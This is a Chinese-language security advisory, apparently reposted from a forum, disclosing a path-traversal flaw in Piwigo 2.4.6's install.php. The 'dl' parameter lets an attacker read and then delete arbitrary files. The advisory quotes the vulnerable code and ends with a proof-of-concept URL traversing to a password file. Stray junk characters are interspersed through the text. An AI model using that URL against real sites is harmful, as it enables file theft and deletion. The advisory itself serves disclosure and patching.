Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
====================================================================
/install.php:
, q3 t( \- T5 _0 j" E2 Y-------------
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
" W0 ]4 H; j# w' F# P115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
* o' h& y* H- G) v+ y) ?116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
* c+ j# @, W" r4 g1 {9 W+ q121:   echo file_get_contents($filename);
7 k% n  t5 @+ h, n% ~- u% U122:   unlink($filename);
6 k3 D& e$ Y0 Z, e& c8 q$ V; J! r/ r123:   exit();
/ m. E3 G3 Z& @4 F# T# l124: }
====================================================================

8 {6 n9 s; s2 k9 l  L' @& nTested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
4 y) m3 o; n. V* r9 b           PHP 5.4.4
           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience

! L: d4 Z6 h/ M! A+ r5 p" z* ?Advisory ID: ZSL-2013-5127
! G* ~8 C) q  `3 Z$ m/ |Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
1 ?' g: V+ w8 ?2 ]( m$ l" lVendor Patch: http://piwigo.org/bugs/view.php?id=2843

3 N+ `% u  f; C: k7 a15.02.2013

, p/ i; C3 b: q7 M--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt